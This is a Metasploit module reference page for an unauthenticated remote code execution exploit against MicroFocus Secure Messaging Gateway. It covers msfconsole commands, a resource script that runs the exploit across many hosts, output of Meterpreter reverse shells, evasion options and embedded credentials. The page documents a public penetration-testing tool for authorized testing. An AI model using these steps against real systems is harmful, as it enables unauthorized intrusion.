MicroFocus Secure Messaging Gateway Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/microfocus_secure_messaging_gateway metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: MicroFocus Secure Messaging Gateway Remote Code Execution
Module: exploit/linux/http/microfocus_secure_messaging_gateway
Source code: modules/exploits/linux/http/microfocus_secure_messaging_gateway.rb
Disclosure date: 2018-06-19
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2018-12464, CVE-2018-12465
This module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging Gateway. An unauthenticated user can execute a terminal command under the context of the web user. One of the user supplied parameters of API endpoint is used by the application without input validation and/or parameter binding, which leads to SQL injection vulnerability. Successfully exploiting this vulnerability gives a ability to add new user onto system. manage_domains_dkim_keygen_request.php endpoint is responsible for executing an operation system command. It's not possible to access this endpoint without having a valid session. Combining these vulnerabilities gives the opportunity execute operation system commands under the context of the web user.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using microfocus_secure_messaging_gateway against a single host
Normally, you can use exploit/linux/http/microfocus_secure_messaging_gateway this way:
msf > use exploit/linux/http/microfocus_secure_messaging_gateway
msf exploit(microfocus_secure_messaging_gateway) > show targets
... a list of targets ...
msf exploit(microfocus_secure_messaging_gateway) > set TARGET target-id
msf exploit(microfocus_secure_messaging_gateway) > show options
... show and set options ...
msf exploit(microfocus_secure_messaging_gateway) > exploit
Using microfocus_secure_messaging_gateway against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your microfocus_secure_messaging_gateway will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/microfocus_secure_messaging_gateway")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging Gateway. An unauthenticated user can execute a terminal command under the context of the web user.
One of the user supplied parameters of API endpoint is used by the application without input validation and/or parameter binding, which leads to SQL injection vulnerability. Successfully exploiting this vulnerability gives a ability to add new user onto system. manage_domains_dkim_keygen_request.php endpoint is responsible for executing an operation system command. It's not possible to access this endpoint without having a valid session.
Combining these vulnerabilities gives the opportunity execute operation system commands under the context of the web user.
Installation Steps
Complete the following trial submission form. You will be able to download the product as a OVA or ISO file. Installation instructions can be found here.
Please note that newer trial appliances by default are no longer vulnerable to the attacks used by this module, but for testing purposes there is a way to make it vulnerable again.
First, go ahead and install the ISO. The appliance is based on Debian (for example, version 7 is running a modified version of Ubuntu 16.04), so installation should be very similar to that.
After you log into the system as "gwava:gwava" (which is the default credential), you should see this on your screen:
####################################
Please run the following command:
sudo /opt/gwavapreinstall.sh
####################################
The gwavapreinstall.sh script is what you need to modify. To do this, open it with your favorite text editor with sudo like this:
$ sudo nano -w /opt/gwavapreinstall.sh
The bash script uses svn to download the latest software from the official site, but we can go back to a specific commit to test the vulnerability again. Go ahead and find this line in the file:
sudo svn co --username gwavaupdate --password gwavam8 --non-interactive https://gwava7updates.gwava.com/update/gwava7/release $GWAVA_DIR
And modify to (the difference is the release@444
):
sudo svn co --username gwavaupdate --password gwavam8 --non-interactive https://gwava7updates.gwava.com/update/gwava7/release@444 $GWAVA_DIR
Make sure you save it, and then now run the script:
$ sudo /opt/gwavapreinstall.sh
After running the script, make sure to browse to https://[IP] to complete the installation. And then after that, you are ready to test the module.
Note that the module may not work at the very first try, but the second time should work.
Verification Steps
A successful check of the exploit will look like this:
- Start
msfconsole
use exploit/linux/http/microfocus_secure_messaging_gateway
- Set
RHOST
- Set
LHOST
- Run
check
- Verify that you are seeing
The target is vulnerable
- Run
exploit
- Verify that you are seeing
Creating an user with appropriate privileges
in console. - Verify that you are seeing
User successfully created. Username : rmcynlbredxqh
in console. - Verify that you are seeing
Authenticating with created user
in console. - Verify that you are seeing
Successfully authenticated
in console. - Verify that you are seeing
Creating a domain with a malformed DKIM data
in console. - Verify that you are seeing
Payload is successfully implanted
in console. - Verify that you are seeing
Triggering an implanted payload
in console. - Verify that you are getting meterpreter session.
Scenarios
msf5 > use exploit/linux/http/microfocus_secure_messaging_gateway
msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > set RHOSTS 12.0.0.25
RHOSTS => 12.0.0.25
msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > set LHOST 12.0.0.1
LHOST => 12.0.0.1
msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > run
[*] Started reverse TCP handler on 12.0.0.1:4444
[*] Creating an user with appropriate privileges
[+] User successfully created. Username : rmcynlbredxqh
[*] Authenticating with created user
[+] Successfully authenticated
[*] Creating a domain record with a malformed DKIM data
[+] Payload is successfully implanted
[*] Triggering an implanted payload
[*] Sending stage (37775 bytes) to 12.0.0.25
[*] Meterpreter session 10 opened (12.0.0.1:4444 -> 12.0.0.25:44332) at 2018-06-25 20:26:54 +0100
[*] Cleaning up...
meterpreter > pwd
/opt/gwava/gwavaman/http/admin/contents/ou
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/http/microfocus_secure_messaging_gateway exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/microfocus_secure_messaging_gateway
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(linux/http/microfocus_secure_messaging_gateway) > show info
Name: MicroFocus Secure Messaging Gateway Remote Code Execution
Module: exploit/linux/http/microfocus_secure_messaging_gateway
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2018-06-19
Provided by:
Mehmet Ince <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of the vulnerable instance
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a SQL injection and command injection
vulnerability in MicroFocus Secure Messaging Gateway. An
unauthenticated user can execute a terminal command under the
context of the web user. One of the user supplied parameters of API
endpoint is used by the application without input validation and/or
parameter binding, which leads to SQL injection vulnerability.
Successfully exploiting this vulnerability gives a ability to add
new user onto system. manage_domains_dkim_keygen_request.php
endpoint is responsible for executing an operation system command.
It's not possible to access this endpoint without having a valid
session. Combining these vulnerabilities gives the opportunity
execute operation system commands under the context of the web user.
References:
https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway/
https://nvd.nist.gov/vuln/detail/CVE-2018-12464
https://nvd.nist.gov/vuln/detail/CVE-2018-12465
https://support.microfocus.com/kb/doc.php?id=7023132
https://support.microfocus.com/kb/doc.php?id=7023133
Module Options
This is a complete list of options available in the linux/http/microfocus_secure_messaging_gateway exploit:
msf6 exploit(linux/http/microfocus_secure_messaging_gateway) > show options
Module options (exploit/linux/http/microfocus_secure_messaging_gateway):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of the vulnerable instance
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/http/microfocus_secure_messaging_gateway exploit:
msf6 exploit(linux/http/microfocus_secure_messaging_gateway) > show advanced
Module advanced options (exploit/linux/http/microfocus_secure_messaging_gateway):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/microfocus_secure_messaging_gateway module can exploit:
msf6 exploit(linux/http/microfocus_secure_messaging_gateway) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/microfocus_secure_messaging_gateway exploit:
msf6 exploit(linux/http/microfocus_secure_messaging_gateway) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
18 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
19 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/microfocus_secure_messaging_gateway exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/microfocus_secure_messaging_gateway) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Something went wrong
Here is a relevant code snippet related to the "Something went wrong" error message:
81: )
82:
83: end
84:
85: def something_went_wrong
86: fail_with Failure::Unknown, 'Something went wrong'
87: end
88:
89: def check
90: r = rand_text_numeric(15..35)
91: res = execute_query("SELECT #{r}")
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
88:
89: def check
90: r = rand_text_numeric(15..35)
91: res = execute_query("SELECT #{r}")
92: unless res
93: vprint_error 'Connection failed'
94: return CheckCode::Unknown
95: end
96: unless res.code == 200 && res.body.include?(r)
97: return CheckCode::Safe
98: end
Something went horribly wrong while implanting the payload : <E.MESSAGE>
Here is a relevant code snippet related to the "Something went horribly wrong while implanting the payload : <E.MESSAGE>" error message:
131: # Defining as global variable since we need to access them later within clean up function.
132: begin
133: @domainid = res.get_json_document['Nodes'][0]['DbNodeId']
134: @dkimid = res.get_json_document['Nodes'][1]['DbNodeId']
135: rescue => e
136: fail_with Failure::UnexpectedReply, "Something went horribly wrong while implanting the payload : #{e.message}"
137: end
138: print_good('Payload is successfully implanted')
139: else
140: something_went_wrong
141: end
Target is not vulnerable
Here is a relevant code snippet related to the "Target is not vulnerable" error message:
182: cookie
183: end
184:
185: def exploit
186: unless check == CheckCode::Vulnerable
187: fail_with Failure::NotVulnerable, 'Target is not vulnerable'
188: end
189:
190: create_user
191: cookie = login
192: implant_payload(cookie)
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12158 Merged Pull Request: Manually set
needs_cleanup
for exploits that need it - #10255 Merged Pull Request: Adding Micro Focus Secure Messaging Gateway RCE
References
- https://pentest.blog/unexpected-journey-6-all-ways-lead-to-rome-remote-code-execution-on-microfocus-secure-messaging-gateway/
- CVE-2018-12464
- CVE-2018-12465
- https://support.microfocus.com/kb/doc.php?id=7023132
- https://support.microfocus.com/kb/doc.php?id=7023133
See Also
Check also the following modules related to this module:
- exploit/linux/http/microfocus_obr_cmd_injection
- exploit/linux/ssh/microfocus_obr_shrboadmin
- exploit/multi/http/microfocus_obm_auth_rce
- exploit/multi/http/microfocus_ucmdb_unauth_deser
- exploit/windows/local/microfocus_operations_privesc
- exploit/windows/http/privatewire_gateway
- auxiliary/scanner/http/symantec_web_gateway_login
- exploit/linux/http/spring_cloud_gateway_rce
- exploit/linux/http/symantec_messaging_gateway_exec
- exploit/linux/http/symantec_web_gateway_exec
- exploit/linux/http/symantec_web_gateway_file_upload
- exploit/linux/http/symantec_web_gateway_lfi
- exploit/linux/http/symantec_web_gateway_pbcontrol
- exploit/linux/http/symantec_web_gateway_restore
- exploit/multi/http/kong_gateway_admin_api_rce
- exploit/unix/webapp/citrix_access_gateway_exec
- exploit/windows/browser/citrix_gateway_actx
- exploit/windows/scada/codesys_gateway_server_traversal
- exploit/windows/http/altn_securitygateway
- exploit/windows/http/ca_igateway_debug
- exploit/linux/http/imperva_securesphere_exec
- exploit/linux/http/pulse_secure_cmd_exec
- exploit/linux/http/pulse_secure_gzip_rce
- exploit/linux/games/ut2004_secure
- exploit/windows/games/ut2004_secure
- exploit/windows/ssh/securecrt_ssh1
- auxiliary/admin/networking/cisco_secure_acs_bypass
- auxiliary/gather/pulse_secure_file_disclosure
- auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
- post/windows/gather/credentials/pulse_secure
- post/windows/gather/credentials/securecrt
Authors
- Mehmet Ince <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.